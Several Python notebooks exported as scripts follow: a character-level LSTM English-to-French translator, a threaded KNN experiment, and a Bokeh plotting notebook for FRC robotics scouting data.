{\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"UxtE9r3Nqmcd\"\n# input_texts = [word for word in input_texts if word not in string.punctuation]\n\n\n# + executionInfo={\"elapsed\": 23, \"status\": \"ok\", \"timestamp\": 1631456652772, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"oa5XwGcUrCQN\"\n# input_texts\n\n# + [markdown] id=\"AV1ahm510tpp\"\n# ### Preprocess for Required Encoder Decoder Vairbales\n\n# + executionInfo={\"elapsed\": 23, \"status\": \"ok\", \"timestamp\": 1631456652773, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"__GKgR9LutqN\"\n\ninput_characters = sorted(list(input_characters))\ntarget_characters = sorted(list(target_characters))\n\nnum_encoder_tokens = len(input_characters) \nnum_decoder_tokens = len(target_characters)\n\nmax_encoder_seq = max([len(word) for word in input_texts])\nmax_decoder_seq = max([len(word) for word in target_texts])\n\nno_encoder_sequences = len(input_texts)\nno_decoder_sequences = len(target_texts)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 23, \"status\": \"ok\", \"timestamp\": 1631456652774, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"qkAZojyI2hdP\" outputId=\"bdf0d337-89d5-4979-ae12-2b9456bf3d3e\"\nno_encoder_sequences\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 21, \"status\": \"ok\", \"timestamp\": 1631456652774, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"HKULEw1-2i7M\" outputId=\"7341df72-341d-4306-eb7c-7e25d4b2741d\"\nprint(\"Number of samples:\", no_encoder_sequences)\nprint(\"Number of samples:\", no_decoder_sequences)\n\nprint(\"Number of unique input tokens:\", num_encoder_tokens)\nprint(\"Number of unique output tokens:\", num_decoder_tokens)\nprint(\"Max sequence length for inputs:\", max_encoder_seq)\nprint(\"Max sequence length for outputs:\", max_decoder_seq)\n\n# + [markdown] id=\"w7RKFoy93boW\"\n# **Adding index to data**\n\n# + executionInfo={\"elapsed\": 20, \"status\": \"ok\", \"timestamp\": 1631456652775, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"hq2hva1f3Wb7\"\n#Adding index to input data\n#will be used in one hot encoding of encoder decoder inputs as numpy arrays\ninput_token_index = dict( [char,i] for i,char in enumerate(input_characters) )\ntarget_token_index = dict( [char,i] for i,char in enumerate(target_characters) )\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 19, \"status\": \"ok\", \"timestamp\": 1631456652775, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"4zRaVYYd361s\" outputId=\"9caaa5a5-e756-435b-b8b4-3766bbc108f6\"\ntarget_token_index\n\n# + [markdown] id=\"cyfDCRv54Q8o\"\n# ### 3D numpy shape for Encoder Decoder input data\n\n# + executionInfo={\"elapsed\": 575, \"status\": \"ok\", \"timestamp\": 1631456653334, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"zMqPj0Mo376b\"\n#This data will be used in TRAINING(.fit()) stage after onehot encoding\nencoder_input_data = np.zeros( (no_encoder_sequences , max_encoder_seq , num_encoder_tokens),dtype = 'float32')\n\ndecoder_input_data = np.zeros( (no_decoder_sequences , max_decoder_seq , num_decoder_tokens),dtype = 'float32')\n\ndecoder_target_data = np.zeros( (no_decoder_sequences , max_decoder_seq , num_decoder_tokens),dtype = 'float32')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 11, \"status\": \"ok\", \"timestamp\": 1631456653335, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"XNpNPnFr494c\" outputId=\"75d38008-2ba1-447a-f6a1-31d09407f069\"\ndecoder_input_data\n\n# + [markdown] id=\"LSR1idXg5YQN\"\n# ### One HOT ENCODING\n\n# + executionInfo={\"elapsed\": 9, \"status\": \"ok\", \"timestamp\": 1631456653336, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"M3nWLO7u5LK8\"\n#ONE \n\nfor i, (input_text, target_text) in enumerate(zip(input_texts, target_texts)):\n for t, char in enumerate(input_text):\n encoder_input_data[i, t, input_token_index[char]] = 1.0\n encoder_input_data[i, t + 1 :, input_token_index[\" \"]] = 1.0\n for t, char in enumerate(target_text):\n # decoder_target_data is ahead of decoder_input_data by one timestep\n decoder_input_data[i, t, target_token_index[char]] = 1.0\n if t > 0:\n # decoder_target_data will be ahead by one timestep\n # and will not include the start character.\n decoder_target_data[i, t - 1, target_token_index[char]] = 1.0\n decoder_input_data[i, t + 1 :, target_token_index[\" \"]] = 1.0\n decoder_target_data[i, t:, target_token_index[\" \"]] = 1.0\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 10, \"status\": \"ok\", \"timestamp\": 1631456653337, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"NFhPhKVf53h9\" outputId=\"c8619574-5e03-4dd3-ff62-b7dd90ea738c\"\n#Obtained\nencoder_input_data\ndecoder_input_data\ndecoder_target_data\n\n# + [markdown] id=\"RYPo_wVY61xf\"\n# # Creating Encoder Decoder Layers with LSTMs\n\n# + executionInfo={\"elapsed\": 2778, \"status\": \"ok\", \"timestamp\": 1631456656108, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"3VMamu_x6fXM\"\nimport tensorflow\nfrom tensorflow.keras import Input \nfrom tensorflow.keras.layers import LSTM , Dense , Embedding\n\n# + executionInfo={\"elapsed\": 1119, \"status\": \"ok\", \"timestamp\": 1631456657220, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"vTAYS9Vy7IdL\"\n# # FOR ENCODER\n\n# #Used for giving shapes to tensors\n# encoder_inputs = Input(shape=(None , num_encoder_tokens)) \n# #defined Layer of LSTM \n\n# encoder = LSTM(latent_dim , return_state = True )\n\n# #Uses above inputs\n# encoder_ouputs , state_h , state_c = encoder(encoder_inputs) \n# #discarding output and using states only to save state var\n# #for adding in decoder\n# encoder_states = [state_h,state_c]\n\n\n\n\n# + executionInfo={\"elapsed\": 12, \"status\": \"ok\", \"timestamp\": 1631456657220, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"ju6vghp087L7\"\n# # FOR DECODER\n# decoder_inputs = Input(shape=(None,num_decoder_tokens))\n\n# decoder_LSTM = LSTM(latent_dim , return_sequences=True , return_state=True)\n# #Uses above inputs\n# decoder_outputs , _,_ = decoder_LSTM(decoder_inputs , initial_state =encoder_states )\n# #Dense layer for output with units = no of decoder tokens\n# decoder_Dense = Dense(num_decoder_tokens , activation='softmax')\n# decoder_outputs = decoder_Dense(decoder_outputs)\n\n\n\n# + [markdown] id=\"BE3JIihZ5Xg_\"\n# **OPT use Stacked LSTMS~**\n\n# + executionInfo={\"elapsed\": 733, \"status\": \"ok\", \"timestamp\": 1631458908791, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"nKuh-qIZoTyn\"\n# FOR ENCODER\nencoder_inputs = Input(shape=(None , num_encoder_tokens)) \n\n# Stacked LSTM 2 layer\n# Using above inputs and producing states and output (from layer1)\ne_outputs, h1, c1 = LSTM(latent_dim, return_state=True, return_sequences=True)(encoder_inputs) \n_, h2, c2 = LSTM(latent_dim, return_state=True)(e_outputs) \n\nencoder_states = [h1, c1, h2, c2]\n\n# + executionInfo={\"elapsed\": 686, \"status\": \"ok\", \"timestamp\": 1631458909473, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"IH4hdHMXoT8s\"\n# FOR DECODER\ndecoder_inputs = Input(shape=(None,num_decoder_tokens))\n\n#Staked LSTM 2 output layers\n# 1layer with initail state of first layer state h1,c1 of encoder\nout_layer1 = LSTM(latent_dim, return_sequences=True, return_state=True)\nd_outputs, dh1, dc1 = out_layer1(decoder_inputs,initial_state= [h1, c1])\n\n#2 layer with initail state of second layer state h2,c2 of encoder\nout_layer2 = LSTM(latent_dim, return_sequences=True, return_state=True)\nfinal, dh2, dc2 = out_layer2(d_outputs, initial_state= [h2, c2])\n\n\n#Dense Layer\ndecoder_dense = Dense(num_decoder_tokens, activation='softmax')\ndecoder_outputs = decoder_dense(final)\n\n\n# + executionInfo={\"elapsed\": 6, \"status\": \"ok\", \"timestamp\": 1631458909474, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"qfYvTk0yoUAZ\"\n\n\n# + [markdown] id=\"7Q5B0QljCmCI\"\n# # Train\n\n# + executionInfo={\"elapsed\": 6, \"status\": \"ok\", \"timestamp\": 1631458909475, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"4cM1bulvCu4z\"\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.callbacks import EarlyStopping\n\n# + executionInfo={\"elapsed\": 3, \"status\": \"ok\", \"timestamp\": 1631458910052, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"Dli76gZ7hHPg\"\nearly = EarlyStopping( monitor='val_loss', patience=6, verbose=1, mode='auto' )\n\n# + executionInfo={\"elapsed\": 4, \"status\": \"ok\", \"timestamp\": 1631458910636, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"pkDvBt8Y_Xuc\"\n# CONSTRUCT MODEL\n\n# Construncing the model using the enocder,decoder input and target outputs\nmodel = Model([encoder_inputs, decoder_inputs], decoder_outputs)\n\n\n#compile\nmodel.compile(\n optimizer=\"rmsprop\", loss=\"categorical_crossentropy\", metrics=[\"accuracy\"]\n)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 449706, \"status\": \"ok\", \"timestamp\": 1631459361561, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"EAgjXQUgCo1u\" outputId=\"3216d6ed-5433-48bd-cc8e-78a51eeca949\"\n#TRAIN\n\n#Data is our ONEHOT Encoded Data\nmodel.fit([encoder_input_data , decoder_input_data] , decoder_target_data , batch_size=batch_size,\n epochs=50,\n validation_split=0.2,)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} executionInfo={\"elapsed\": 16, \"status\": \"ok\", \"timestamp\": 1631459444133, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"_qRAmupuE5Yb\" outputId=\"7f4e65d6-fcae-4783-fab8-f2847d1ef974\"\nplt.plot(model.history.history['loss'])\nplt.plot(model.history.history['val_loss'])\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train', 'val'], loc='upper left')\nplt.show()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} executionInfo={\"elapsed\": 799, \"status\": \"ok\", \"timestamp\": 1631459448923, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"mqNRexQoKW-M\" outputId=\"7bc8e2cf-b4bc-46ac-ac6b-7b0767d1e3b3\"\nplt.plot(model.history.history['accuracy'])\nplt.plot(model.history.history['val_accuracy'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'val'], loc='upper left')\nplt.show()\n\n# + [markdown] id=\"QWD1f2YICt76\"\n# # Save\n\n# + executionInfo={\"elapsed\": 1257, \"status\": \"ok\", \"timestamp\": 1631459467125, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"KDfZVHC6Kfwq\"\nmodel.save(\"EnglishtoFrenchTranslate.h5\")\n\n# + [markdown] id=\"uppYwmcKEB8c\"\n# # Inference\n\n# + executionInfo={\"elapsed\": 584, \"status\": \"ok\", \"timestamp\": 1631459493527, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"gNjdt0NGEfyI\"\nimport keras\n\n# + executionInfo={\"elapsed\": 4565, \"status\": \"ok\", \"timestamp\": 1631459498665, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"VDgEgsHFEAz5\"\n## Run inference (sampling)\n# 1. encode input and retrieve initial decoder state\n# 2. run one step of decoder with this initial state\n# and a \"start of sequence\" token as target.\n# Output will be the next target token.\n# 3. Repeat with the current target token and current states\n\n\n# Define sampling models\n# Restore the model and construct the encoder and decoder.\nmodel = keras.models.load_model(\"EnglishtoUrduTranslate.h5\")\n\nencoder_inputs = model.input[0] # input_1\nencoder_outputs, state_h_enc, state_c_enc = model.layers[2].output # lstm_1\nencoder_states = [state_h_enc, state_c_enc]\nencoder_model = keras.Model(encoder_inputs, encoder_states)\n\ndecoder_inputs = model.input[1] # input_2\ndecoder_state_input_h = keras.Input(shape=(latent_dim,), name=\"input_3\")\ndecoder_state_input_c = keras.Input(shape=(latent_dim,), name=\"input_4\")\ndecoder_states_inputs = [decoder_state_input_h, decoder_state_input_c]\ndecoder_lstm = model.layers[3]\ndecoder_outputs, state_h_dec, state_c_dec = decoder_lstm(\n decoder_inputs, initial_state=decoder_states_inputs\n)\ndecoder_states = [state_h_dec, state_c_dec]\ndecoder_dense = model.layers[4]\ndecoder_outputs = decoder_dense(decoder_outputs)\ndecoder_model = keras.Model(\n [decoder_inputs] + decoder_states_inputs, [decoder_outputs] + decoder_states\n)\n\n# Reverse-lookup token index to decode sequences back to\n# something readable.\nreverse_input_char_index = dict((i, char) for char, i in input_token_index.items())\nreverse_target_char_index = dict((i, char) for char, i in target_token_index.items())\n\n\ndef decode_sequence(input_seq):\n # Encode the input as state vectors.\n states_value = encoder_model.predict(input_seq)\n\n # Generate empty target sequence of length 1.\n target_seq = np.zeros((1, 1, num_decoder_tokens))\n # Populate the first character of target sequence with the start character.\n target_seq[0, 0, target_token_index[\"\\t\"]] = 1.0\n\n # Sampling loop for a batch of sequences\n # (to simplify, here we assume a batch of size 1).\n stop_condition = False\n decoded_sentence = \"\"\n while not stop_condition:\n output_tokens, h, c = decoder_model.predict([target_seq] + states_value)\n\n # Sample a token\n sampled_token_index = np.argmax(output_tokens[0, -1, :])\n sampled_char = reverse_target_char_index[sampled_token_index]\n decoded_sentence += sampled_char\n\n # Exit condition: either hit max length\n # or find stop character.\n if sampled_char == \"\\n\" or len(decoded_sentence) > max_decoder_seq:\n stop_condition = True\n\n # Update the target sequence (of length 1).\n target_seq = np.zeros((1, 1, num_decoder_tokens))\n target_seq[0, 0, sampled_token_index] = 1.0\n\n # Update states\n states_value = [h, c]\n return decoded_sentence\n\n\n# + [markdown] id=\"d4P--FO1Eprb\"\n# **Generate **\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 12634, \"status\": \"ok\", \"timestamp\": 1631459516784, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"8xcgKUgbEcEG\" outputId=\"9f96077b-8959-4a75-9172-9d6f08fed9ab\"\n\"\"\"\nYou can now generate decoded sentences as such:\n\"\"\"\n\nfor seq_index in range(20):\n # Take one sequence (part of the training set)\n # for trying out decoding.\n input_seq = encoder_input_data[seq_index : seq_index + 1]\n decoded_sentence = decode_sequence(input_seq)\n print(\"-\")\n print(\"Input sentence:\", input_texts[seq_index])\n print(\"Decoded sentence:\", decoded_sentence)\n\n# + executionInfo={\"elapsed\": 30, \"status\": \"aborted\", \"timestamp\": 1631456696057, \"user\": {\"displayName\": \"AHMAD HASSAN\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14Gj8sSoIN2sm7Rpm61y9tGp0PjokjnqAybPa9wCD=s64\", \"userId\": \"14337286313514897029\"}, \"user_tz\": -300} id=\"O5-dbaynEtu1\"\n\n","repo_name":"APEX101/DeepLearningNLPseq2seq-EnglishtoFrenchTranslator","sub_path":".ipynb_checkpoints/LanguageTranslation-checkpoint.ipynb","file_name":"LanguageTranslation-checkpoint.ipynb","file_ext":"py","file_size_in_byte":23006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"21377158597","text":"# # KNN Threads\n\n# +\nfrom sklearn.base import BaseEstimator\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn.datasets import load_iris\n\nfrom random import *\n\nfrom threading import Thread\nimport time\n\n# +\n#dados = load_iris()\n#X, y = dados.data[:, :2], dados.target\n\nX = []\ny = []\n\na = 50\nb = 100\nc = 150\nfor _ in range(a):\n X.append([uniform(-10000,15000),uniform(0,10000)])\n y.append(0)\n\n \nfor _ in range(b):\n X.append([uniform(-1250,3000),uniform(-50,3000)])\n y.append(1)\n \nfor _ in range(c):\n X.append([uniform(-1300,4000),uniform(5,700)])\n y.append(2)\n \ndados = load_iris()\nX, y = dados.data[:, :3], dados.target\n\n\n# -\n\ndef calculaDistancias(X,y,valor,p,i):\n print(\"Thread \", i)\n return [math.sqrt( np.sum(np.abs(np.array(X) - np.array(valor))**p)), y]\n\n\n# +\nclass ThreadWithReturnValue(Thread):\n def __init__(self, group=None, target=None, name=None,\n args=(), kwargs={}, Verbose=None):\n Thread.__init__(self, group, target, name, args, kwargs)\n self._return = None\n def run(self):\n print(type(self._target))\n if self._target is not None:\n self._return = self._target(*self._args,\n **self._kwargs)\n def join(self, *args):\n Thread.join(self, *args)\n return self._return\n\nclass KNN(BaseEstimator): #basico, sem threads\n \n def __init__(self):\n self.tab = []\n \n def predict(self, X, y, valor , K = 5 , dist = 'e'): #m -> manhattan, e->euclidiana\n p = dist\n \n if dist == 'm' or dist == 1:\n p = 1\n if dist == 'e' or dist == 2:\n p = 2\n \n # for xi, yi in zip(X,y):# calcula todas as distancias e armazena numa tabela\n # self.tab.append([math.sqrt( np.sum(np.abs(np.array(xi) - np.array(valor))**p)), yi])\n threads = []\n indice = 1\n for xi,yi in zip(X, y):\n #t = Thread(target=calculaDistancias, args=[xi,yi,p])\n #t.start()\n #t.join()\n t = ThreadWithReturnValue(target=calculaDistancias, args=[xi,yi,valor,p,indice])\n t.start()\n indice += 1\n #t.join()\n #print (t._return)\n threads.append(t._return)\n self.tab = threads\n #self.tab.sort() \n return self.tab\n # return self.tab[:K] # só retorna a 'probabilidade' der ser uma determinada classe, nao a classe em si\n\n\n# +\nf = [[6., 3.9, 1.6]]\n\ncls = KNN()\ns = time.time()\nv = cls.predict(X, y, f, K = 15, dist = 2)\nfim = time.time()\n\n# -\n\nprint(fim-s)\n\nv\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# +\nprint('dados: \\n')\n#plt.figure(figsize=(10,5))\ninter = 1\nfor xi in X: #dados do dataset\n if inter <= a:\n plt.scatter(xi[0], xi[1], color='black')\n if inter > a and inter <= b:\n plt.scatter(xi[0], xi[1], color='green')\n if inter > b:\n plt.scatter(xi[0], xi[1], color='red')\n \n inter += 1\n \nplt.scatter(f[0][0], f[0][1], color='blue', marker = '*')# o dado que se deseja classificar\n\nplt.xticks(())\nplt.yticks(())\n\nplt.show()\n# -\n\n\n","repo_name":"RenatoUFRRJ/TEPC","sub_path":"KNN_threads.ipynb","file_name":"KNN_threads.ipynb","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"73131714286","text":"# # Importing Python Packages\n\n# Import and set up Bokeh plotting package\nimport bokeh.io\nimport bokeh.models\nimport bokeh.plotting\nimport bokeh.resources\nbokeh.io.output_notebook()\n\n# +\n# Pandas package for dataframes\nimport pandas as pd\n\n# Tell Python where to find scouting system packages\n# These lines are unnecessary if using PYTHONPATH environment variable\nimport sys\nsys.path.append('C:/Users/stacy/OneDrive/Projects/scouting/scouting2017/irsScouting2017')\n\n# Import scouting system packages\nimport server.model.event as event\nimport server.view.dataframes as dframes\n# -\n\n# # Setup the Scouting System\n\nevent.EventDal.set_current_event('wayak', 2018)\n\nevent.EventDal.set_current_match('060-q')\n\n# # Get a Dataframe\n\nmdf = dframes.measure_summary_df()\nmdf.head(24)\n\nlen(mdf.index.levels[0])\n\n# # Filter the Dataframe\n\nscale_tele = mdf.xs(('teleop', 'robot', 'placeScale'),\n level=[1, 2, 3])['avg_successes'].sort_values(ascending=False)\nprint(len(scale_tele))\nscale_tele.head()\n\n# # Plot the Data\n\n# +\n# Extract an array of teams from the dataframe's index\nteams = scale_tele.index.values\n\n# Start a new plot and create the bar chart\np = bokeh.plotting.figure(x_range=teams, plot_width=700, plot_height=350)\np.vbar(x=teams, top=scale_tele, width=0.9)\n\n# Text orientation is specified in radians, with zero radians being horizontal\np.xaxis.major_label_orientation = -3.14/4\n# p.xaxis.axis_label = 'Team Number'\n# p.yaxis.axis_label = 'Average Cubes per Match'\n\n# Display the plot\nbokeh.io.show(p)\n# -\n\n# Save plot to a file\nres = bokeh.resources.Resources('relative', root_dir='.', )\nbokeh.io.save(p, 'teleop_cubes2.html', res, 'Cubes Placed in Teleop2' )\n# bokeh.io.output_file('teleop_cubes.html', title='Cubes Placed in Teleop', mode='relative', root_dir='.')\n# bokeh.io.show(p)\n\nbokeh.io.export_png(p, 'teleop_cubes.png')\n\n# # Autonomous Version\n\nscale_auto = mdf.xs(('auto', 'robot', 'placeScale'), level=[1, 2, 3])['avg_successes'].sort_values(ascending=False)\nprint(len(scale_auto))\nscale_auto\n\n# +\n# Extract an array of teams from the dataframe's index\nteams_auto = scale_auto.index.values\n\n# Start a new plot and create the bar chart\np = bokeh.plotting.figure(title='Cubes Placed on Scale in Auto',\n x_range=teams_auto, plot_width=700, plot_height=350)\np.vbar(x=teams_auto, top=scale_auto, width=0.8, fill_color='purple', line_color=None)\np.xaxis.major_label_orientation = -3.14/4\np.xaxis.axis_label = 'Team Number'\np.yaxis.axis_label = 'Average Cubes per Match'\n\n# Display the plot\nbokeh.io.show(p)\n# -\n\n# # Stacked Bar Chart\n\nscale_df = pd.concat([scale_auto, scale_tele], axis=1, sort=True)\nscale_df.columns = [\"avg_scale_auto\", \"avg_scale_tele\"]\nscale_df.head()\n\nscale_source = bokeh.models.ColumnDataSource(scale_df)\nprint('Column Names: ', scale_source.column_names)\nprint('Index values: ', scale_source.data['index'])\n\n# +\np = bokeh.plotting.figure(title='Cubes Placed on Scale', x_range=scale_source.data['index'],\n plot_width=700, plot_height=350)\n\np.vbar_stack(['avg_scale_tele', 'avg_scale_auto'], x='index',\n source=scale_source, color=['purple', 'gold'], width=0.8)\n\np.xaxis.major_label_orientation = -3.14/4\np.xaxis.axis_label = 'Team Number'\np.yaxis.axis_label = 'Average Cubes per Match'\n\n# Display the plot\nbokeh.io.show(p)\n# -\n\nscale_df[\"avg_scale_total\"] = scale_df[\"avg_scale_tele\"] + scale_df[\"avg_scale_auto\"]\nscale_df.head()\n\nscale_df[\"avg_scale_total\"] = scale_df[\"avg_scale_tele\"].fillna(0) + scale_df[\"avg_scale_auto\"].fillna(0)\nscale_df.head()\n\nscale_df.sort_values(\"avg_scale_total\", ascending=False, inplace=True)\n\nscale_df.head()\n\nscale_source = bokeh.models.ColumnDataSource(scale_df)\nprint('Column Names: ', scale_source.column_names)\nprint('Index values: ', scale_source.data['index'])\n\n# +\np = bokeh.plotting.figure(title='Cubes Placed on Scale', x_range=scale_source.data['index'],\n plot_width=700, plot_height=350)\n\np.vbar_stack(['avg_scale_tele', 'avg_scale_auto'], x='index',\n source=scale_df, color=['purple', 'gold'], width=0.8,\n legend=['Teleop', 'Autonomous'])\n\np.xaxis.major_label_orientation = -3.14/4\np.xaxis.axis_label = 'Team Number'\np.yaxis.axis_label = 'Average Cubes per Match'\n\n# Display the plot\nbokeh.io.show(p)\n# -\n\n# # Scatter Plot\n\nswtch = mdf.xs(('teleop', 'placeSwitch'), level=[1, 3])['avg_successes']\nswtch.index = swtch.index.droplevel(1)\nswtch.head()\n\nscale = mdf.xs(('teleop', 'placeExchange'), level=[1,3])['avg_successes']\nscale.index = scale.index.droplevel(1)\nscale.head()\n\nex_cl = pd.concat([swtch, scale], axis=1, sort=True)\nex_cl.columns=['avg_switch', 'avg_exchange']\nex_cl.head()\n\nex_cl_data = bokeh.models.ColumnDataSource(ex_cl)\nprint(ex_cl_data.column_names)\n\n# +\np = bokeh.plotting.figure(title='Switch vs Exchange Cubes Place')\n\np.circle(x='avg_switch', y='avg_exchange', source=ex_cl_data)\np.xaxis.axis_label = 'Average Cubes Placed on Switch'\np.yaxis.axis_label = 'Average Cubes to Exchange'\n\nlabels = 